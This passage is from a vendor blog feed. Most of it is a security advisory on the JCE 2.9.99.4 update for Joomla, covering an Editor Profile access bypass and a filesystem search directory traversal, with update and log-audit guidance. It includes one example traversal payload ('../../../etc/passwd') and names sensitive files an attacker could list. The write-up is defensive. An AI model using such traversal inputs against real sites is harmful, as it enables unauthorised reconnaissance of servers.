&lt;p&gt;The shape of this bug, an access control missing on a request that should have required authorisation, is a recurring one across both platforms. We dug into it in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt;, where endpoints that should check who is calling them simply do not, from Smart Slider 3 to Joomla core&apos;s own &lt;code&gt;com_ajax&lt;/code&gt; router.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-5-released&quot;&gt;JCE Pro 2.9.99.5 release announcement&lt;/a&gt; - the developer&apos;s advisory and changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the developer confirms active exploitation and offers a free patch for sites that cannot update to the current release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 Security Update&lt;/a&gt; - the hardening release, with update notes through to the current 2.9.99.10&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free/Pro 2.9.99.4 Security Update&lt;/a&gt; - last week&apos;s authenticated-only release, for the full picture&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt; - direct package downloads for JCE Pro subscribers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/editing/editors/jce/&quot;&gt;JCE on the Joomla Extensions Directory&lt;/a&gt; - the JCE Free listing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking from the mySites.guru database, where JCE consistently ranks in the top two&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow used for rollouts like this&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE in scheduled overnight updates so the next advisory patches itself&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the recurring missing-authorisation pattern across Joomla and WordPress&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/jce-pro-2-9-99-5-security-update.C0grvaUU.png" length="0" type="image/png"/></item><item><title>JCE Free/Pro 2.9.99.4 Patches Two Authenticated Vulnerabilities in Joomla&apos;s Most Popular Editor</title><link>https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/</guid><description>JCE Free and JCE Pro 2.9.99.4 patch an Editor Profile authentication bypass and a directory traversal in filesystem search. Update every Joomla site running JCE today.</description><pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The whole story in one place:&lt;/strong&gt; our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for the attack these flaws lead up to, with the indicators of compromise and the tool that finds and fixes it across every site you manage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It is consistently one of the top two installs in our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. If you manage a stack of Joomla sites for clients, the odds that every single one of them has JCE installed are very high.&lt;/p&gt;
&lt;p&gt;On 28 May 2026, the JCE developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-4-released&quot;&gt;announced &lt;strong&gt;JCE Pro 2.9.99.4&lt;/strong&gt;&lt;/a&gt; and the matching JCE Free 2.9.99.4. It is a security maintenance release patching &lt;strong&gt;two related authenticated vulnerabilities&lt;/strong&gt; in the editor&apos;s Editor Profile and filesystem search code. The fix shipped within 24 hours of the external security report landing, which is fast.&lt;/p&gt;
&lt;p&gt;This post covers what was patched, what an attacker could and could not do with the original bugs, how to push the update across every Joomla site you manage with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt;, and why &quot;authenticated only&quot; is not the green light some site owners assume it is.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update: JCE has shipped several times since. The current version is 2.9.99.10&lt;/p&gt;
  &lt;p&gt;This page covers 2.9.99.4. Since then, the developer shipped &lt;strong&gt;2.9.99.5&lt;/strong&gt; (3 June) to fix a more serious &lt;strong&gt;unauthenticated&lt;/strong&gt; editor profile upload that could be used to upload arbitrary files (CVE-2026-48907), then &lt;strong&gt;2.9.99.6&lt;/strong&gt; (8 June), a security hardening release following a full four-day audit of the editor, &lt;strong&gt;2.9.99.7&lt;/strong&gt; (18 June, an upload-regression fix and group whitelist), &lt;strong&gt;2.9.99.8&lt;/strong&gt; (2 July, a maintenance release that also hardens the File Browser), and &lt;strong&gt;2.9.99.10&lt;/strong&gt; (29 July, an &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;authenticated file rename fix plus a broad hardening pass&lt;/a&gt;). That unauthenticated flaw is now being &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;actively exploited with public exploit code&lt;/a&gt;. Do not stop at 2.9.99.4: &lt;strong&gt;update straight to the current 2.9.99.10&lt;/strong&gt;. &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;Read the JCE 2.9.99.6 advisory&lt;/a&gt; or the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 advisory&lt;/a&gt;. For sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10+), the developer offers a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; for JCE 2.7.x, 2.8.x and 2.9.x.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE Pro 2.9.99.4&lt;/strong&gt; and &lt;strong&gt;JCE Free 2.9.99.4&lt;/strong&gt; released 28 May 2026&lt;/li&gt;
&lt;li&gt;Patches two authenticated vulnerabilities affecting &lt;strong&gt;all previous 2.9.x versions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Bug 1: an authenticated user could access an Editor Profile they were not assigned to and invoke filesystem actions inside that profile&apos;s restrictions&lt;/li&gt;
&lt;li&gt;Bug 2: a directory parameter in JCE&apos;s filesystem search could be manipulated to list folder contents outside the configured root (directory traversal)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation required a logged-in Joomla session.&lt;/strong&gt; Anonymous visitors cannot trigger either bug&lt;/li&gt;
&lt;li&gt;No CVE numbers assigned at time of writing&lt;/li&gt;
&lt;li&gt;Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin&lt;/li&gt;
&lt;li&gt;Update via the Joomla Update Manager or the &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru&apos;s mass updater&lt;/a&gt; lets you push the update to every affected site in one batch&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Why &quot;authenticated only&quot; still matters&lt;/p&gt;
  &lt;p&gt;Any Joomla site with public registration, a customer portal, a contributor workflow, a membership area, or any non-Super-User account that can log in to the backend or frontend is in scope for this advisory. That is the majority of business Joomla sites. Authenticated-only does not mean admin-only.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What was actually patched in JCE 2.9.99.4?&lt;/h2&gt;
&lt;p&gt;The JCE security advisory describes two issues. Both are quoted from the developer&apos;s release announcement:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Editor Profile access:&lt;/strong&gt; An authenticated user could potentially access an Editor Profile that they are not assigned to and invoke filesystem actions available to that profile, but within the restrictions of that profile.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Filesystem search directory traversal:&lt;/strong&gt; A directory parameter could be manipulated to list folder contents beyond configured boundaries.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To unpack what those actually mean, you need a quick refresher on how JCE is wired up.&lt;/p&gt;
&lt;h3&gt;A quick tour of JCE Editor Profiles&lt;/h3&gt;
&lt;p&gt;JCE&apos;s distinctive feature is its Editor Profiles system. Instead of giving every logged-in user the same editor, JCE lets administrators define different profiles for different user groups. A registered user might get a minimal toolbar with no file uploads. A content editor might get image and file managers scoped to a specific media directory. A super user might get the full editor with arbitrary file operations.&lt;/p&gt;
&lt;p&gt;Each profile defines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which toolbar buttons are visible&lt;/li&gt;
&lt;li&gt;Which file types can be uploaded&lt;/li&gt;
&lt;li&gt;Which directories the editor can browse and upload into&lt;/li&gt;
&lt;li&gt;Which advanced features (templates, code view, character map, etc.) are exposed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The whole point is &lt;strong&gt;privilege separation inside the editor&lt;/strong&gt;. A subscriber should not be able to invoke the same filesystem actions as a super user, even if they somehow access the editor. The profile assignment is the boundary that enforces that.&lt;/p&gt;
&lt;h3&gt;Bug 1: Editor Profile assignment bypass&lt;/h3&gt;
&lt;p&gt;The first vulnerability allowed an authenticated user to invoke filesystem actions through an Editor Profile they were not assigned to. Before the patch, the assignment check in the relevant code path was either missing or could be bypassed by manipulating the request.&lt;/p&gt;
&lt;p&gt;The practical impact is constrained by the profile&apos;s own permissions. The attacker is still bounded by what the unassigned profile is allowed to do, not promoted to super user. But if a site&apos;s super-user-only profile permits, for example, image uploads to the entire &lt;code&gt;images/&lt;/code&gt; tree, a subscriber-level user could potentially route their request through that profile and upload there too, ignoring whatever restriction the subscriber&apos;s intended profile imposed.&lt;/p&gt;
&lt;p&gt;This matters most on sites where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A high-privilege profile exists with broad filesystem access&lt;/li&gt;
&lt;li&gt;That profile is supposed to be locked to administrators or super users&lt;/li&gt;
&lt;li&gt;Lower-privilege user groups exist with frontend or backend login&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bug 2: Directory traversal in filesystem search&lt;/h3&gt;
&lt;p&gt;The second issue was a classic directory traversal. JCE has a filesystem search feature that lets the editor (within a profile&apos;s allowed directories) search for files matching a query. The directory parameter to that search was not adequately sanitised. A manipulated parameter could traverse outside the configured root and list folder contents elsewhere on the server.&lt;/p&gt;
&lt;p&gt;Directory traversal vulnerabilities are usually summarised by an example payload like &lt;code&gt;../../../etc/passwd&lt;/code&gt;. In this case, the bug listed folder contents rather than reading file contents directly, which is a lower severity outcome than arbitrary file read. But folder listings still leak information an attacker can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Filenames of database backups left in unusual locations&lt;/li&gt;
&lt;li&gt;Names of &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;.git/&lt;/code&gt;, or &lt;code&gt;wp-config.php.bak&lt;/code&gt; style files&lt;/li&gt;
&lt;li&gt;The structure of other CMS installations on the same account&lt;/li&gt;
&lt;li&gt;Plugin and extension folders for fingerprinting other vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both bugs interact. The Editor Profile bypass widened &lt;em&gt;which&lt;/em&gt; profile an attacker could route through, and the directory traversal widened &lt;em&gt;where&lt;/em&gt; that profile could look. The patched 2.9.99.4 closes both.&lt;/p&gt;
&lt;h2&gt;What the JCE vulnerabilities actually let an attacker do&lt;/h2&gt;
&lt;p&gt;The advisory is explicit: &lt;strong&gt;exploitation required an active, authenticated Joomla session; unauthenticated access was not possible.&lt;/strong&gt; So an anonymous attacker scanning the internet for vulnerable Joomla sites cannot trigger either bug without an account. That puts this in a different category from Joomla CVE-2025-7771, Smart Slider 3 &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;arbitrary file read&lt;/a&gt;, or &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&apos;s&lt;/a&gt; unauthenticated file inclusion.&lt;/p&gt;
&lt;p&gt;With an account, though, the picture is less reassuring. A logged-in user could route filesystem actions through an Editor Profile they were never assigned to, bounded by whatever that profile permits but escaping the restrictions of their intended profile. If a super-user profile allowed image uploads to the whole &lt;code&gt;images/&lt;/code&gt; tree, a registered subscriber could potentially upload there too. Combine that with the directory traversal in filesystem search, and the same user could list folder contents outside the configured root — pulling filenames of backups, &lt;code&gt;.env&lt;/code&gt; files, &lt;code&gt;wp-config.php.bak&lt;/code&gt;, or the layout of adjacent CMS installs to fingerprint other targets.&lt;/p&gt;
&lt;p&gt;Neither bug grants direct arbitrary file read or RCE on its own, but both expand what a low-privilege account can see and where it can write inside a profile&apos;s permitted operations. That is enough to matter on any site where the gap between &quot;registered user&quot; and &quot;admin&quot; is supposed to be a real boundary.&lt;/p&gt;
&lt;p&gt;That fact deflates the urgency somewhat, but it does not zero it out. The set of Joomla sites with at least one registered user beyond Super User is enormous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;E-commerce sites running VirtueMart, HikaShop or J2Store with customer accounts&lt;/li&gt;
&lt;li&gt;Membership sites with paid registrations&lt;/li&gt;
&lt;li&gt;Community forums (Kunena, EasyDiscuss)&lt;/li&gt;
&lt;li&gt;Multi-author publications with editor and author groups&lt;/li&gt;
&lt;li&gt;Anywhere user registration is enabled in Global Configuration, even if rarely used&lt;/li&gt;
&lt;li&gt;B2B portals where logged-in users are the entire audience&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of the above describes one of your client sites, authenticated-only is your problem too.&lt;/p&gt;
&lt;h2&gt;How to update JCE on a single Joomla site&lt;/h2&gt;
&lt;p&gt;For a single site, the update is unremarkable. Joomla&apos;s built-in Extension Update tooling will pick up 2.9.99.4 automatically as soon as the JCE update server publishes it (which is now).&lt;/p&gt;
&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;System → Update → Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Check for Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the JCE row in the list&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the update does not appear, check that JCE&apos;s update site is enabled at &lt;strong&gt;System → Update → Update Sites&lt;/strong&gt; and that the &lt;strong&gt;Joomla! Extensions Update&lt;/strong&gt; component itself has been run recently.&lt;/p&gt;
&lt;p&gt;For JCE Pro specifically, you need a valid subscription key entered in &lt;strong&gt;Components → JCE Editor → Options → Subscription Key&lt;/strong&gt; for the Pro update channel to be reachable. JCE Free users get their updates straight from the Joomla extension feed and do not need a key.&lt;/p&gt;
&lt;p&gt;After the update completes, hard-refresh the editor in a logged-in browser session to flush cached JCE assets. The version reported under &lt;strong&gt;Components → JCE Editor&lt;/strong&gt; should read 2.9.99.4 once you reload.&lt;/p&gt;
&lt;h2&gt;How to find every Joomla site with a vulnerable JCE using mySites.guru&lt;/h2&gt;
&lt;p&gt;That is the easy case. The hard case is &quot;I look after 40 client Joomla sites. Which of them are running an old JCE?&quot;&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version number. From that index you can answer the JCE 2.9.99.4 question in seconds rather than logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; inside your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You will see every version of JCE installed across your portfolio, grouped by version number, with every site that runs each version listed below it. Sites still on 2.9.99.3 or earlier are the ones that need attention. Sites already on 2.9.99.4 (or which auto-updated overnight) are green.&lt;/p&gt;
&lt;p&gt;You can also filter by JCE Free vs JCE Pro if you maintain a mixed estate. Both editions ship the same security fix in 2.9.99.4 from the same JCE update server, but Pro is gated by a subscription key so it helps to know which sites belong in which group.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.3 or earlier needs the 2.9.99.4 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Push 2.9.99.4 across every affected site in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are on a vulnerable JCE, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you pick every site running JCE on an outdated version and trigger the update across all of them in one batch.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The screen groups every JCE install across your account by the new version it can update to, with a single &quot;Apply to all&quot; button per group plus per-site Apply Update controls when you want to be selective. Sites stuck on much older versions (v2.6, v2.7, v2.8) get patched in the same sweep as ones already on the 2.9.99.x line.&lt;/p&gt;
&lt;p&gt;Behind the scenes the platform calls each site&apos;s connector to invoke the Joomla update routine, pulls the 2.9.99.4 package from JCE&apos;s update server, installs it, and reports back. You see a progress bar, a final pass/fail per site, and a log entry against the site for the change. If a site is offline, behind a firewall, or has an outdated connector, it surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;For agencies running &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled automation&lt;/a&gt;, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already supports JCE Free and JCE Pro through Joomla&apos;s native extension update API.&lt;/p&gt;
&lt;p&gt;If you would rather hold off auto-updates on production and run the batch update manually after smoke-testing on a staging instance, the same screen lets you tick exactly which sites you want to patch right now and leave the rest.&lt;/p&gt;
&lt;h3&gt;Thousands of opted-in sites have already been patched automatically&lt;/h3&gt;
&lt;p&gt;The mySites.guru automatic extension updater has already pushed 2.9.99.4 to thousands of opted-in Joomla sites overnight without anyone having to log in. If your sites are enrolled, the patch has landed, the version has been verified, and an audit entry is sitting in the activity log. If they are not, this is the advisory to change that. Turn on automatic extension updates in your account and the next time a popular extension like JCE ships a security release, you wake up to &quot;done&quot; rather than &quot;to do&quot;. &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Enable auto-updates from your mySites.guru dashboard&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; if you do not have an account yet.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How quickly should you patch JCE 2.9.99.4?&lt;/h2&gt;
&lt;p&gt;It depends on your sites.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch within 24 hours&lt;/strong&gt; if any of the following are true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site allows public user registration&lt;/li&gt;
&lt;li&gt;The site has any customer-facing account flow (e-commerce, members, downloads)&lt;/li&gt;
&lt;li&gt;You run a community component (Kunena, EasyDiscuss, JomSocial)&lt;/li&gt;
&lt;li&gt;You have any history of credential stuffing or compromised low-privilege accounts on the site&lt;/li&gt;
&lt;li&gt;The site stores anything sensitive in folders adjacent to JCE&apos;s configured roots&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Patch within the week&lt;/strong&gt; for low-traffic brochure sites with no public registration, no customer accounts, and a single Super User. Even here, 2.9.99.4 is a free, no-config drop-in upgrade. Wait until the next scheduled maintenance window and that&apos;s fine.&lt;/p&gt;
&lt;p&gt;Authenticated-only bugs tend to get deprioritised in agency triage queues until someone publishes a working exploit chain, and then everyone scrambles. JCE 2.9.99.4 is a clean security patch with no functional changes, so the risk of applying it is essentially zero. The risk of &lt;em&gt;not&lt;/em&gt; applying it is whatever the next external researcher discovers, multiplied across every site that still has the bug.&lt;/p&gt;
&lt;h2&gt;Edge cases and gotchas&lt;/h2&gt;
&lt;p&gt;A handful of things to watch for when rolling out 2.9.99.4 across an estate.&lt;/p&gt;
&lt;h3&gt;Lapsed JCE Pro subscriptions&lt;/h3&gt;
&lt;p&gt;Both JCE Free and JCE Pro pull updates from the same JCE update server run by the developer, not from the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install&apos;s subscription has lapsed, the 2.9.99.4 update will not appear in the site&apos;s Joomla extension update list and the site will silently sit on the old version.&lt;/p&gt;
&lt;p&gt;The fix is to renew the subscription (the developer will prompt for it) or to log a temporary key into the site, pull the security release, then sort the renewal properly afterwards.&lt;/p&gt;
&lt;p&gt;A practical workflow is to scan your mySites.guru extension report for any JCE Pro install still on a pre-2.9.99.4 version 48 hours after release. Those are almost certainly the sites with lapsed subscriptions.&lt;/p&gt;
&lt;h3&gt;Custom Editor Profiles with broad filesystem access&lt;/h3&gt;
&lt;p&gt;If you originally set up an Editor Profile on a high-trust user group with broad filesystem access (the whole &lt;code&gt;images/&lt;/code&gt; tree, or worse, &lt;code&gt;/&lt;/code&gt;), audit it after the update. Even though 2.9.99.4 plugs the assignment bypass, the underlying principle of least privilege still applies. A profile with broad filesystem access remains a high-value target for whatever the next JCE issue turns out to be. Lock profiles down to the narrowest path that still lets the user group do their job.&lt;/p&gt;
&lt;p&gt;You can review every profile under &lt;strong&gt;Components → JCE Editor → Editor Profiles&lt;/strong&gt; on each site.&lt;/p&gt;
&lt;h3&gt;Sites still on JCE 2.x branches older than 2.9&lt;/h3&gt;
&lt;p&gt;If you still have a JCE 2.7.x or 2.8.x install on a long-tail Joomla 3 site, that install is far more exposed than the current advisory implies. The 2.9.99.4 fix is for the 2.9.x branch only. Those older 2.7.x and 2.8.x lines have not received this patch, and almost certainly carry a backlog of unpatched issues going back years, including the unauthenticated profile upload later patched in 2.9.99.5 (&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;CVE-2026-48907&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The right answer is to update the underlying Joomla site to 4 or 5 and bring JCE up to the current 2.9.99.10 at the same time. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration tooling&lt;/a&gt; can help triage which sites need the most work. For sites that genuinely cannot reach the current release (it needs PHP 7.4 and Joomla 3.10 or later), the JCE developer has published a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes the unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. It is a stopgap that fixes the vulnerability only and does not clean a compromised site, so back up and test on a copy first and still plan to migrate.&lt;/p&gt;
&lt;p&gt;JCE 2.6.x is a special case. The developer confirms it is not affected by that unauthenticated upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported and may carry other unpatched issues, so plan to migrate it regardless.&lt;/p&gt;
&lt;p&gt;If you genuinely cannot upgrade Joomla on a particular site (some clients refuse, even when the risk is explained), at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until the site can be modernised.&lt;/p&gt;
&lt;h3&gt;Checking for signs of prior exploitation&lt;/h3&gt;
&lt;p&gt;Because both bugs require authentication, the audit trail for any past exploitation lives inside Joomla&apos;s own user activity logs and the web server access logs, not in some external IDS feed. There is no fingerprint to scan for the way you would for an unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;A reasonable retrospective audit on a high-risk site looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pull the last 90 days of access logs and grep for requests to JCE&apos;s filesystem endpoints. The relevant URLs contain &lt;code&gt;task=plugin.display&lt;/code&gt; or &lt;code&gt;plugin=imgmanager&lt;/code&gt;/&lt;code&gt;filemanager&lt;/code&gt;/&lt;code&gt;browser&lt;/code&gt; in the query string, routed through &lt;code&gt;index.php&lt;/code&gt; on Joomla 4/5/6 or the JCE controller on Joomla 3.&lt;/li&gt;
&lt;li&gt;Filter to requests made by authenticated users (anything carrying a Joomla session cookie). Anonymous requests cannot have triggered either bug.&lt;/li&gt;
&lt;li&gt;Cross-reference any unusual paths in the directory parameter against your configured profile roots. Anything pointing well outside the configured root is a candidate for follow-up.&lt;/li&gt;
&lt;li&gt;Look for newly created subscriber-level or registered-user accounts that you do not recognise, especially around the time of any suspicious requests. The attacker model here assumes a valid account, and the cheapest way to get one is to register a new one if your site permits.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you find anything that looks like deliberate probing, treat the site as you would after any other authenticated breach: rotate session keys, invalidate active sessions via Joomla&apos;s user management, audit your &lt;code&gt;images/&lt;/code&gt;, &lt;code&gt;media/&lt;/code&gt;, and any custom-defined upload roots for files you did not put there, and run mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; against the site.&lt;/p&gt;
&lt;p&gt;For most sites the audit will come up empty, and that&apos;s fine. The point is to be deliberate about closing the chapter rather than assuming nothing happened because nothing was reported.&lt;/p&gt;
&lt;h3&gt;JCE and the Joomla Backwards Compatibility plugin&lt;/h3&gt;
&lt;p&gt;The 2.9.99 branch is fully native to Joomla 5 and 6 and does not require the Backwards Compatibility plugin. If JCE is the only reason the BC plugin is enabled on a particular site, you can disable BC once 2.9.99.4 is in place, &lt;strong&gt;provided your other extensions are also BC-free&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For an estate audit of which sites still need BC and which can shed it, see our &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;Joomla compat plugin is a crutch&lt;/a&gt; write-up.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent advisory for WordPress.&lt;/p&gt;
&lt;p&gt;WordPress sites use TinyMCE through the WordPress core editor instead, which has its own separate vulnerability history. If you are looking after a mixed Joomla and WordPress estate, the WordPress half of your portfolio is unaffected by this particular advisory. The Joomla half needs the update.&lt;/p&gt;
&lt;p&gt;The pattern in this advisory (privilege check bypass on a request that already requires a login) is a recurring shape across both platforms. We dug into the same anti-pattern in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt;, where authenticated-but-not-authorised endpoints crop up everywhere from Smart Slider 3 to Joomla core&apos;s own &lt;code&gt;com_ajax&lt;/code&gt; router.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-4-released&quot;&gt;JCE Pro 2.9.99.4 release announcement&lt;/a&gt; - the developer&apos;s original advisory and changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the developer confirms active exploitation of the later unauthenticated flaw and offers a free patch for sites that cannot update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 Security Update&lt;/a&gt; - the hardening release, with update notes through to the current 2.9.99.10&lt;/li&gt;
